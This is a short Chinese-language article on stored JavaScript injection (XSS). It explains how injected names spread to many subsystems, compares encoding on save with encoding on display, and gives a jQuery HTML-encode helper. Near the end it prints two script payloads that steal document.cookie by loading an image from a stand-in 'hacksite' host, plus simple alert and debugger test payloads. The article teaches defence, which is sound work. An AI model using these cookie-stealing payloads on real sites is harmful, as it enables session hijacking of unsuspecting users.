初次接触：

初次接触JavaScript注入漏洞后，如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式，你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式：

JavaScript注入漏洞能发生作用主要依赖两个关键的动作，一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中；二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中，比如系统中的人名等等，因为名字往往会在各种系统上显示，如果在某个用户输入名字的时候注入了脚本，那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时，我给系统中的一个名字中注入了JavaScript脚本，结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案：

防范注入漏洞主要有两个思路：一个是在用户输入数据后Encode内容后再保存到持久存储，另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能，因此比较好防范；但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容；但缺点是需要在多处UI界面中写代码防范，而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行，公司决定开发，那么在开发的过程必须要做好防范，否则可能别的地方都防范好了，但新系统中却没有做好防范，漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

```
function htmlEncode(value){
    return $('<div/>').text(value).html();
}
function htmlDecode(value){
    return $('<div/>').html(value).text();
}
```

漏洞被用于攻击时注入内容：

jQuery场景：

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景：

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);

d.body.appendChild(i)</script>

测试漏洞时注入内容：

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码（打开调试器的情况下）。